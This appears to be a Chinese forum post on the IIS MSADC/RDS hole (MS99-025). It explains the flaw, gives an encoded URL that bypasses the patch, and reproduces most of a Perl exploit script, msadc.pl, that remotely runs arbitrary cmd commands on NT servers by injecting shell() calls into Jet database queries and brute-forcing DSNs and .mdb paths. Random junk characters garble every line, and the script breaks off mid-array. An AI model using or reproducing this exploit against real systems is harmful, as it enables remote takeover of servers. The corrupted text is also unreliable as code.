IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
'ug:ic Nyx)&T&I 涉及程序:
*jQ?(Tf Microsoft NT server
(>.lkR !d.bCE~ 描述:
ohU}ST:9 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'`s+e#rs4{ r>ziQq8C& 详细:
7q%xF#mK= 如果你没有时间读详细内容的话,就删除:
'G>$W+lT^ c:\Program Files\Common Files\System\Msadc\msadcs.dll
i0}f@pCB?X 有关的安全问题就没有了。
0RZ[]:( Wn%b}{9Fb 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
HPryq )z *Jwx,wF}4 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
ldFR%v>9 关于利用ODBC远程漏洞的描述,请参看:
B\54e Tn A3mvd-k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?3
S{>+' 0SjB&J 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
,ZV>"'I: http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?lca#@f( ]9$iUA%Ef 这里不再论述。
a^o'KN{ ;mT 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
[s{ B vn
<N{wFvF /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
p>N8g#G 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
zq(4@S-TU "5HSCl$r% oRZ98?Y\B
#将下面这段保存为txt文件,然后: "perl -x 文件名"
h6b(FTC^ H)k V8wU #!perl
QHXA?nBX #
baoyU#X9 # MSADC/RDS 'usage' (aka exploit) script
+)hxYLk&I #
+OI <0 # by rain.forest.puppy
xp? YM35 #
^c<8|lK L@ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{E[t(Ig # beta test and find errors!
j7BLMTF3v VUi> ]v/e use Socket; use Getopt::Std;
\,xa_zeO getopts("e:vd:h:XR", \%args);
9.%t9RM^ 1}_4C0h\' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
W)Ct*I^ j1rR3)oP if (!defined $args{h} && !defined $args{R}) {
jp;]dyU print qq~
?W>`skQ Usage: msadc.pl -h <host> { -d <delay> -X -v }
@<.ei)cqb -h <host> = host you want to scan (ip or domain)
L}
"bp -d <seconds> = delay between calls, default 1 second
@>,GCuPrm -X = dump Index Server path table, if available
_\8jnpT: -v = verbose
fK^W6)uuV -e = external dictionary file for step 5
>4#:qIU %M3L<2 Or a -R will resume a command session
ODEFs?%' efNscgi ~; exit;}
PN3 Qxi4F XV}}A^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
;f~fGsH}e' if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7YxVtN if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
G^sx/H76J if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Xs{PAS0 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
jddhX]>I if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
q3vv^~ G6.lRaPu"m if (!defined $args{R}){ $ret = &has_msadc;
"F =NDF die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-{}h6r *c\XQy print "Please type the NT commandline you want to run (cmd /c assumed):\n"
boI&q>-6Re . "cmd /c ";
's.e"F# $in=<STDIN>; chomp $in;
NB4Q,iq$ $command="cmd /c " . $in ;
Y&1N*@YP 3G[|4v?[<_ if (defined $args{R}) {&load; exit;}
tI@aRF=p]2 XzPOqZ`Nv print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
F$-f j "jC &try_btcustmr;
#M||t|9iu? J'ZC5Xr print "\nStep 2: Trying to make our own DSN...";
xL*J9&~iG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
>$tU @mq \HIBnkj)3n print "\nStep 3: Trying known DSNs...";
!?>QN'p.b &known_dsn;
}N}Js* 2-DG6\QX| print "\nStep 4: Trying known .mdbs...";
IG{lr &known_mdb;
'A>?aUq]: zYP6m3n if (defined $args{e}){
\FUMfo^ print "\nStep 5: Trying dictionary of DSN names...";
6J\ 2=c` &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P-a8S*RRa \WBO(,]V print "Sorry Charley...maybe next time?\n";
>|z:CX$] exit;
tz8fZ*n "F}dZ ##############################################################################
z#Fel/L`O \vJ0Mhk1 sub sendraw { # ripped and modded from whisker
S6}_N/;6~ sleep($delay); # it's a DoS on the server! At least on mine...
'}9 Nvr)+ my ($pstr)=@_;
7H09\g& socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c:e3hJ die("Socket problems\n");
PZQAlO, if(connect(S,pack "SnA4x8",2,80,$target)){
(uDAdE5 select(S); $|=1;
(5@H<c^6 print $pstr; my @in=<S>;
X0iy select(STDOUT); close(S);
!uoT8BBAk return @in;
Z.&/,UU:4 } else { die("Can't connect...\n"); }}
]tXIe?>9 h
(q,T$7W ##############################################################################
+SF+$^T 7~FHn'xt sub make_header { # make the HTTP request
eAo+w*D( my $msadc=<<EOT
#6vf:94 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
%g:'6%26 User-Agent: ACTIVEDATA
5'NNwc\ Host: $ip
1)^\R(l Content-Length: $clen
=.7tS' Connection: Keep-Alive
EcL6lNTR+ .8Bu%Sf ADCClientVersion:01.06
]\KVA)\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
6lCpf1>6@ jC_'6sc` --!ADM!ROX!YOUR!WORLD!
24nNRTI Content-Type: application/x-varg
Ufl\
uq3'H Content-Length: $reqlen
{ZrlbDQX I5q$QQK EOT
aXQS0>G%( ; $msadc=~s/\n/\r\n/g;
.CnZMw{' return $msadc;}
mW4Cc1* YnuY/zDF ##############################################################################
U+*l!"O,
VsJ+-IHm sub make_req { # make the RDS request
~N i my ($switch, $p1, $p2)=@_;
z]r'8Jc my $req=""; my $t1, $t2, $query, $dsn;
MOK}:^bSu O-HS)g$2 if ($switch==1){ # this is the btcustmr.mdb query
D
h;5hu2" $query="Select * from Customers where City=" . make_shell();
}3A~ek#*~ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
y~\ujp_5w $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
U+qyS|i {ibu0 elsif ($switch==2){ # this is general make table query
McN[ $query="create table AZZ (B int, C varchar(10))";
r}&&e BY
f $dsn="$p1";}
=]]1x_GB *djLf.I@ elsif ($switch==3){ # this is general exploit table query
pH mqwB~| $query="select * from AZZ where C=" . make_shell();
XrM+DQ; $dsn="$p1";}
ij!d-eM/b 4P[MkMoC elsif ($switch==4){ # attempt to hork file info from index server
kBhjqI* $query="select path from scope()";
e2v`
$dsn="Provider=MSIDXS;";}
Ij7P-5=< +HBizJ9K elsif ($switch==5){ # bad query
L~-/'+ $query="select";
W]#w4Fp! $dsn="$p1";}
>STthPO u+Ix''Fn#% $t1= make_unicode($query);
1R3,Z8j' $t2= make_unicode($dsn);
!DzeJWM| $req = "\x02\x00\x03\x00";
ru@#s2 $req.= "\x08\x00" . pack ("S1", length($t1));
PkrVQH9^w $req.= "\x00\x00" . $t1 ;
#?Kw
y $req.= "\x08\x00" . pack ("S1", length($t2));
0:
a2ER|J $req.= "\x00\x00" . $t2 ;
$*942. =Q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ns%gb!FBJX return $req;}
:-}K:ucaj pe
vXixl ##############################################################################
{o5|(^l u0Wt"d-= sub make_shell { # this makes the shell() statement
<HoCt8>U return "'|shell(\"$command\")|'";}
Ny2
Z
<TW @Suz-j(H ##############################################################################
zawu(3?~)5 Rpg g
: sub make_unicode { # quick little function to convert to unicode
z^U+oG my ($in)=@_; my $out;
+Q u.86dH for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
M i& ;1!bg return $out;}
X#t tDB 3T8d?%.l ##############################################################################
f-enF)z salC4z3 sub rdo_success { # checks for RDO return success (this is kludge)
ySr,HXz my (@in) = @_; my $base=content_start(@in);
O3@DU#N&s if($in[$base]=~/multipart\/mixed/){
uVUU1@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
vSR&>Q%X return 0;}
;:D-}t; 4`Ud\Jm[s ##############################################################################
?OFa
Q 3/`BK{ sub make_dsn { # this makes a DSN for us
6 X~ ><r my @drives=("c","d","e","f");
).;{'8Q print "\nMaking DSN: ";
i"}z9Ae~. foreach $drive (@drives) {
]0."{^ksL print "$drive: ";
uK@d?u!`
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Ob/)f)!! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
y017
B<Ou . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6?F88;L $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
4>=M"DhB return 0 if $2 eq "404"; # not found/doesn't exist
_ l|%~ if($2 eq "200") {
>8_y-74 foreach $line (@results) {
7A\` return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
9s^$tgH } return 0;}
QMBT8x/+_' rNq*z, ##############################################################################
KkZx6A)$u M YF
^zheD sub verify_exists {
/eQAGFG my ($page)=@_;
p75 o1RU my @results=sendraw("GET $page HTTP/1.0\n\n");
LZn'+{\` return $results[0];}
aDdGhB \:4*h ##############################################################################
^[7Mp p-}X=O$ sub try_btcustmr {
oh8:1E,I my @drives=("c","d","e","f");
2&V>pE my @dirs=("winnt","winnt35","winnt351","win","windows");
fB3Jp~$
X%'z foreach $dir (@dirs) {
"@&TC"YG0 print "$dir -> "; # fun status so you can see progress
f\hMTebma$ foreach $drive (@drives) {
]?4;Lw print "$drive: "; # ditto
6Cj7 =|L7 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
2'?'dfj $reqlenlen=length( "$reqlen" );
%Xd*2q4* $clen= 206 + $reqlenlen + $reqlen;
'Tm1Mh0Fso .J75bX5 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
b]]8Vs)' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
aj`&ca8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
fs
ufYIf rw'+2\ ##############################################################################
'(5GRI< GM6,LzH sub odbc_error {
lD,2])> my (@in)=@_; my $base;
J 6KHc^,7 my $base = content_start(@in);
:/T\E\Qr if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
8 ??-H0P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
|Mq+QDTTw~ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
G\gjCp?! $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
5*$yY-A return $in[$base+4].$in[$base+5].$in[$base+6];}
O=2|'L'h! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
I_<VGU k print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Bz ;r<Kn $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
n4kq=Z% "io O_ ##############################################################################
wmr?ANk N_c44[z1 sub verbose {
M1kA- Xr my ($in)=@_;
Q~U\f$N return if !$verbose;
j?2~6W/[ print STDOUT "\n$in\n";}
UGPDwgq\v Vu5?;|^: ##############################################################################
BD
C DQ E@SFK=` sub save {
P1mg;!tq my ($p1, $p2, $p3, $p4)=@_;
>1sa*Wf open(OUT, ">rds.save") || print "Problem saving parameters...\n";
U+!RIF[Je print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
"0CFvN'4 close OUT;}
%l7[eZ{Y QXkA%'@' ##############################################################################
<T_3s\ bTD?uX!^@ sub load {
cT'Bp)a my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
uE's&H open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4EqThvI{ @p=<IN>; close(IN);
kZw"a*6 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
C^)Imr $target= inet_aton($ip) || die("inet_aton problems");
gs'M^|e) print "Resuming to $ip ...";
-%`~3*L $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w jkh*Y if($p[1]==1) {
6|jZv~rS$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2`f{D~w $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
eg;7BZim{ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Fv~lasW[ if (rdo_success(@results)){print "Success!\n";}
]UvB+M]Lv) else { print "failed\n"; verbose(odbc_error(@results));}}
!J7`frv"( elsif ($p[1]==3){
8o5[tl
?w if(run_query("$p[3]")){
[{7#IZL print "Success!\n";} else { print "failed\n"; }}
[9">}l elsif ($p[1]==4){
LIID(s!bX if(run_query($drvst . "$p[3]")){
>G5aFk print "Success!\n"; } else { print "failed\n"; }}
yvB]rz} i exit;}
Z Ts*Y, y74Q( ##############################################################################
^@^8iZ ;\RVC7 sub create_table {
40kAGs>_ my ($in)=@_;
i6if\B $reqlen=length( make_req(2,$in,"") ) - 28;
G)7U&B $reqlenlen=length( "$reqlen" );
kOQ)QX $clen= 206 + $reqlenlen + $reqlen;
X"{%,]sb G my @results=sendraw(make_header() . make_req(2,$in,""));
:'p)xw4K| return 1 if rdo_success(@results);
*J-pAN
my $temp= odbc_error(@results); verbose($temp);
*$eH3nn6g return 1 if $temp=~/Table 'AZZ' already exists/;
O)dnr8* return 0;}
6 eSo.@*l SxRJ{m~ ##############################################################################
j[r}!;O -$Fj-pO\ sub known_dsn {
ZsP ^< # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
k$kE5kh,S my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
GeR#B;{ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
o,rF 15 "banner", "banners", "ads", "ADCDemo", "ADCTest");
e gq,)6> %>
XsKXj foreach $dSn (@dsns) {
|*{*tW C1 print ".";
O\=Z;}<N next if (!is_access("DSN=$dSn"));
=0cTct6\ if(create_table("DSN=$dSn")){
OR@
67Y print "$dSn successful\n";
Dd?G4xUG if(run_query("DSN=$dSn")){
agUdI_'~@9 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
^)dsi print "Something's borked. Use verbose next time\n";}}} print "\n";}
>+%#m'Y&& ~wa4kS<> ##############################################################################
[K4cxqlfk bgzd($)u sub is_access {
y<Koc>8 my ($in)=@_;
OWvblEBF $reqlen=length( make_req(5,$in,"") ) - 28;
^?lpY{aa $reqlenlen=length( "$reqlen" );
tYD8Y $clen= 206 + $reqlenlen + $reqlen;
^OV; P[ my @results=sendraw(make_header() . make_req(5,$in,""));
>eGg 1 my $temp= odbc_error(@results);
bbC@ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
|xB`cSu( return 0;}
zb0NqIN: u2#q7} ##############################################################################
mE<_oRM) kZ%
AGc sub run_query {
p.W7>o,[w my ($in)=@_;
oywiX@]~7 $reqlen=length( make_req(3,$in,"") ) - 28;
P#A,(Bke3 $reqlenlen=length( "$reqlen" );
fV"Y/9}( $clen= 206 + $reqlenlen + $reqlen;
N?@^BZ my @results=sendraw(make_header() . make_req(3,$in,""));
t1Ts!Q2 return 1 if rdo_success(@results);
Al
yJ!f"Y my $temp= odbc_error(@results); verbose($temp);
f+:iz'b#U return 0;}
$wM..ee 85E$m'0O ##############################################################################
vU>^ \Tz|COG5h\ sub known_mdb {
XC3)#D#HGh my @drives=("c","d","e","f","g");
KGgtEh| my @dirs=("winnt","winnt35","winnt351","win","windows");
*ra)u- my $dir, $drive, $mdb;
]t0o%w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V>Jr4z &;$uU # this is sparse, because I don't know of many
2U./
Yfk\ my @sysmdbs=( "\\catroot\\icatalog.mdb",
.B`$hxl*0c "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
S|=)^$: "\\system32\\certmdb.mdb",
,l&?%H9q "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
P@O_MT s,_+5ukv my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
K28L(4 ) "\\cfusion\\cfapps\\forums\\forums_.mdb",
I$"Z\c8; "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
NO*,}aeG "\\cfusion\\cfapps\\security\\realm_.mdb",
:a*>PMTn "\\cfusion\\cfapps\\security\\data\\realm.mdb",
"Da1BuX\ "\\cfusion\\database\\cfexamples.mdb",
T, #-: } "\\cfusion\\database\\cfsnippets.mdb",
*8)?ZZMM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
C1-U2@ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
iF`_-t/k "\\cfusion\\brighttiger\\database\\cleam.mdb",
a?-J j\q "\\cfusion\\database\\smpolicy.mdb",
m'2F#{ "\\cfusion\\database\cypress.mdb",
&eV5#Ph "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
["nWIs[h "\\website\\cgi-win\\dbsample.mdb",
xsZN@hT "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?w/p 9j# "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
VESvCei ); #these are just
xC<